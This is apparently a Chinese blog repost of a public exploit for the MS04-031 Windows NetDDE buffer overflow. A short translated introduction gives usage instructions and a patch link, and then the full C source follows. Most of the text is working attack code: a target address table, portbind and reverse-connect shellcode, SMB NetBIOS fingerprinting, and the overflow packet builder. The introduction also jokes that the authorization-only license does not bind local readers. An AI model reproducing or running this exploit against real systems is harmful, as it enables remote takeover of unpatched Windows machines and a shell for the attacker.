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| 关键词： nbsp xff 00 xc unsigned char 50 sizeof printf hname |
翻译：小花 来自：http://xiaohuar.blogchina.com/ 我从国外网站找到的，把英文简单翻译了一下，用我的话，呵呵。 此程序是MS04031的漏洞利用程序，成功利用此漏洞可以完全控制目标系统，获得管理权限。 程序是针对MS NETDDE的攻击程序。 但是因为该服务默认情况下是关闭的，所以我们能远程利用该漏洞的成功率很小。 然后，这为我们本地权限提升提供了一个很好的方式。 如何防范： 请用户尽快打补丁： * http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx Tested on: * - Windows XP Professional SP0 * - Windows XP Professional SP1 * - Windows 2000 Professional SP2 * - Windows 2000 Professional SP3 * - Windows 2000 Professional SP4 * - Windows 2000 Advanced Server SP4 程序使用许可 这是一个演示版本，只有被授权的用户才能使用它（跟我们没关系，外国人和我们法律不一样啊） 命令行参数： HOD-ms04031-expl.exe <host> <netbios name> <target> <bindport> * [connectback IP] [options] host 目标主机 netbios name这个我们开始是不清楚的，需要用到-f参数 首先 expl.exe 192.168.0.1 -f 得到netbios name target 目标系统版本 慢慢试，不过2000和XP应该很好区分 bindport 目标打开端口，用于我们连接用，也可以反向连接，不再介绍。 代码如下： /* #define _WIN32 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 #include <winsock2.h> #pragma comment(lib, "ws2_32") #else #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #endif /* targets table */ struct targets { int num; char name[50]; long jmpaddr; } target[]= { { 0, "WinXP [universal] ", 0x00abfb1c - 0x20 }, { 1, "Win2K [universal] ", 0x009efb60 - 0x20 } }; /* portbind shellcode */ unsigned char portbindsc[] = "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" "\x28\xff\x55\x0c"; /* connectback shellcode */ unsigned char connectbacksc[] = "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" "\x77\x38\xff\x55\x20\xff\x55\x0c"; #define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port) #define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283)) = (ip) #define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290)) = (port) /* eax = target[].jmpaddr -> stack -> jmpcode -> shellcode 1. 0100D605 call dword ptr [eax+20h] 2. jmpcode 3. shellcode */ char jmpcode[] = "\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90" "\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28" "\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72" "\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30" "\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e" "\xBB\xBB\xBB\xBB" /* => eax */ "PADPAD"; char smb_sesreq[] = "\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45" "\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43" "\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45" "\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43" "\x41\x43\x41\x43\x41\x41\x41\x00"; char smb_negotiate[] = "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02" "\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e" "\x31\x32\x00"; char d1[] = "\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a" "\x16\x02\x17\x0e\x1b\x0d"; char req1[] = "\x81\x00\x00\x44"; char req2[] = "CACACACACACACACACACACACACACACABP"; char h1[] = "\x45\x44\x44\x4E\x00\x00\x00"; char h2[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; char h3[] = "\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00"; unsigned long ndlen = 0; unsigned long ntarget = 0; unsigned long backip = 0; unsigned short bindport = 0; unsigned long fixx(unsigned char *data, unsigned long i) { unsigned long len; len = (data[i+3]<<24) + (data[i+2]<<16) + (data[i+1]<<8) + (data[i]); return len; } unsigned long chksum(unsigned char *data, unsigned long dlen) { unsigned long i, len; unsigned long chk; chk = 0xFFFFFFFF; len = dlen - 4; for (i=0; i<len; i+=4) chk += fixx(data, i); while (i < dlen) { chk += (unsigned char)data[i]; i++; } return chk; } char * netbios_encode(char *ndata, char service) { char *tmpdata, *data, *nret; unsigned long dlen; char odiv, omod, o; int i; data = (char *)calloc(17, 1); memcpy(data, ndata, strlen(ndata)); dlen = strlen(data); while (dlen < 15) { strcat(data, "\x20"); dlen++; } memcpy(data+strlen(data), &service, 1); nret = (char *)calloc(strlen(data)*2+1, 1); tmpdata = nret; for (i=0; i<16; i++) { o = (char)data[i]; odiv = o / 16; odiv = odiv + 0x41; omod = o % 16; omod = omod + 0x41; *tmpdata++ = odiv; *tmpdata++ = omod; } free(data); return nret; } unsigned char * find_smbname(unsigned char *data, unsigned long len) { unsigned char *ptr; unsigned long i = 0; ptr = data; ptr += 91; while (i <= len - 3) { if (ptr[i] == '\x00') if (ptr[i+1] == '\x00') if (ptr[i+2] == '\x00') return ptr+i+3; i++; } return NULL; } /* fingerprinting */ unsigned char * smb_get_name(char *ip) { int sock, r; unsigned long smbname_len; unsigned char *name = NULL, *smbname; struct sockaddr_in s; struct hostent *he; unsigned char buf[256]; if ((he = gethostbyname(ip)) == NULL) { printf("[-] Unable to resolve %s\n", ip); return NULL; } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) return NULL; s.sin_family = AF_INET; s.sin_addr = *((struct in_addr *)he->h_addr); s.sin_port = htons(139); memset(&(s.sin_zero), '\0', 8); memset(buf, 0, 256); printf("[*] Connecting to %s:139 ... ", ip); r = connect(sock, (struct sockaddr *) &s, sizeof(struct sockaddr_in)); if (r == 0) { printf("OK\n[*] Fingerprinting... "); /* sending session request */ send(sock, smb_sesreq, sizeof(smb_sesreq)-1, 0); Sleep(1000); r = recv(sock, (char *)buf, 256, 0); if (r < 0) goto err; memset(buf, 0, 256); /* sending negotiation request */ send(sock, smb_negotiate, sizeof(smb_negotiate)-1, 0); Sleep(1000); r = recv(sock, (char *)buf, 256, 0); if (r < 0) goto err; printf("OK\n"); smbname = find_smbname(buf, r); if (smbname == NULL) goto err; smbname_len = smbname - buf; name = (unsigned char *)calloc(smbname_len, 1); /* decoding */ r = 0; while (smbname_len) { if (*smbname != '\x00') { name[r] = *smbname; r++; } smbname++; smbname_len--; } } else { printf("failed\n[-] Can't connect to %s:139\n", ip); } err: shutdown(sock, 1); closesocket(sock); return name; } /* NetDDE packet */ char * packet_assembly(char *name, char *host) { char *main, *header, *data; char *lname, *rhost; unsigned long llen, rlen, len, hlen, dlen, csum, i; unsigned char name_hi, name_low, rhost_hi, rhost_low; unsigned char hod_hi, hod_low, len_hi, len_low; unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */ char hod[] = "HOD-HOD\x01"; char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00"; char tmp[8]; llen = strlen(name) + 4; rlen = strlen(host); lname = (char *)calloc(llen + 3, 1); rhost = (char *)calloc(rlen + 3, 1); memcpy(lname, name, llen); strcpy(rhost, host); memcpy(lname + llen, "\x01", 1); strcat(rhost, "\x01"); name_hi = (unsigned char) ((llen+1) / 256); name_low = (unsigned char) ((llen+1) % 256); rhost_hi = (unsigned char) ((rlen + llen + 2) / 256); rhost_low = (unsigned char) ((rlen + llen + 2) % 256); len = sizeof(hod) - 1; hod_hi = (unsigned char) (len / 256); hod_low = (unsigned char) (len % 256); main = (char *)calloc( sizeof(hod)-1 + sizeof(hmain)-1 + llen + rlen + 11, 1 ); memcpy(main, hmain, sizeof(hmain)-1); sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low, rhost_hi, rhost_low, hod_hi, hod_low); memcpy(main+sizeof(hmain)-1, tmp, 6); memcpy(main+sizeof(hmain)-1+6, "\x00", 1); memcpy(main+sizeof(hmain)-1+7, lname, llen+1); memcpy(main+sizeof(hmain)-1+7+llen+1, rhost, rlen+1); memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod, sizeof(hod)-1); memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1, "\x2e", 1); len = sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1; len_hi = (unsigned char) (len / 256); len_low = (unsigned char) (len % 256); /* header */ header = (char *)calloc(sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 9, 1); memcpy(header, h1, sizeof(h1)-1); sprintf(tmp, "%c%c", len_hi, len_low); memcpy(header+sizeof(h1)-1, tmp, 2); memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1); memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2); memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3, sizeof(h3)-1); csum = chksum(main, len); memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4 + sizeof(h3)-1, &csum, 4); /* data */ hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8; data = (char *)calloc( sizeof(d1)-1 + len+hlen + 37 + 1200, 1 ); csum = chksum(header, hlen); memcpy(data+4, &csum, 4); memcpy(data+4+4, header, hlen); memcpy(data+4+4+hlen, main, len); memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1); /* nops */ for (i=0; i<154; i++) memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4, nops, 4); /* shellcode */ if (!backip) { /* portbind */ SET_PORTBIND_PORT(portbindsc, htons(bindport)); memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, portbindsc, sizeof(portbindsc)-1); dlen = 4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4; } else { /* connectback */ SET_CONNECTBACK_IP(connectbacksc, backip); SET_CONNECTBACK_PORT(connectbacksc, htons(bindport)); memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, connectbacksc, sizeof(connectbacksc)-1); dlen = 4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4; } ndlen = dlen + 4; dlen = htonl(dlen); memcpy(data, &dlen, 4); free(lname); free(rhost); free(main); free(header); return data; } void usage(char *prog) { int i; printf("%s <host> <netbios name> <target> <bindport> [connectback IP] [options]\n\n", prog); printf("Targets:\n"); for (i = 0; i < 2; i++) printf(" %d [0x%.8x]: %s\n", target[i].num, target[i].jmpaddr, target[i].name); printf("\nOptions:\n\t-f: Netbios name fingerprinting\n"); exit(0); } void vargs(int argc, char **argv) { int i, finger = 0; char *nname = NULL; for (i = 2; i < argc; i++) { if (argv[i][0] == '-') { if (argv[i][1] == 'f') finger = 1; } } if (finger && argc > 2) { nname = smb_get_name(argv[1]); if (nname) { printf("[+] Remote netbios name: %s\n", nname); free(nname); } exit(0); } else if (argc < 5) usage(argv[0]); if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]); bindport = (unsigned short)atoi(argv[4]); if (argc > 5) backip = inet_addr(argv[5]); return; } int main (int argc, char **argv) { int len, sockfd; char *host; char *req; struct hostent *he; struct sockaddr_in their_addr; char rbuf[4096]; #ifdef _WIN32 WSADATA wsa; #endif char *ses_req; char *data, *hname; char *hn, *hn2; unsigned long req_sz, hname_len, hn_len; #ifdef _WIN32 WSAStartup(MAKEWORD(2,0), &wsa); #endif printf("\n (MS04-031) NetDDE buffer overflow vulnerability PoC\n\n"); printf("\tCopyright (c) 2004-2005 .::[ houseofdabus ]::.\n\n\n"); vargs(argc, argv); hn = argv[2]; /* target netbios name */ host = argv[1]; /* target host name */ if (strlen(host) > 1024) return 0; /* target jmpaddr */ memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4); ses_req = (char *)calloc(sizeof(req1)-1 + sizeof(req2)-1 + 114, 1); memcpy(ses_req, req1, sizeof(req1)-1); memcpy(ses_req+sizeof(req1)-1, "\x20", 1); hname = netbios_encode(hn, 0x1F); hname_len = strlen(hname); memcpy(ses_req+sizeof(req1)-1+1, hname, hname_len); memcpy(ses_req+sizeof(req1)-1+1+hname_len, "\x00\x20", 2); memcpy(ses_req+sizeof(req1)-1+1+hname_len+2, req2, sizeof(req2)-1); memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1, "\x00", 1); req_sz = sizeof(req1)-1+sizeof(req2)-1+hname_len+4; if ((he = gethostbyname(host)) == NULL) { printf("[-] Unable to resolve %s\n", host); return 0; } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("[-] Error: socket failed\n"); return 0; } req = req1; their_addr.sin_family = AF_INET; their_addr.sin_port = htons(139); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); /* connecting */ printf("[*] Connecting to %s:139 ... ", host); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0) { printf("[-] Error: connect failed\n"); return 0; } printf("OK\n"); if (send(sockfd, ses_req, req_sz, 0) < 0) { printf("[-] Error: send failed\n"); return 0; } len = recv(sockfd, rbuf, 4096, 0); if (len < 0) return 0; /* check NetDDE */ if ((unsigned char)rbuf[0] != 0x82) { printf("[-] NetDDE disabled or wrong netbios name\n"); return 0; } hn2 = (char *)calloc(16, 1); memcpy(hn2, hn, strlen(hn)); hn_len = strlen(hn); while (hn_len < 15) { strcat(hn2, "\x20"); hn_len++; } /* attacking */ printf("[*] Attacking %s ...", host); data = packet_assembly(jmpcode, hn2); if (send(sockfd, data, ndlen, 0) < 0) { printf("\n[-] Error: send failed\n"); return 0; } printf("OK.\n"); len = recv(sockfd, rbuf, 4096, 0); shutdown(sockfd, 1); closesocket(sockfd); free(data); free(hn2); free(ses_req); free(hname); return 0; } |
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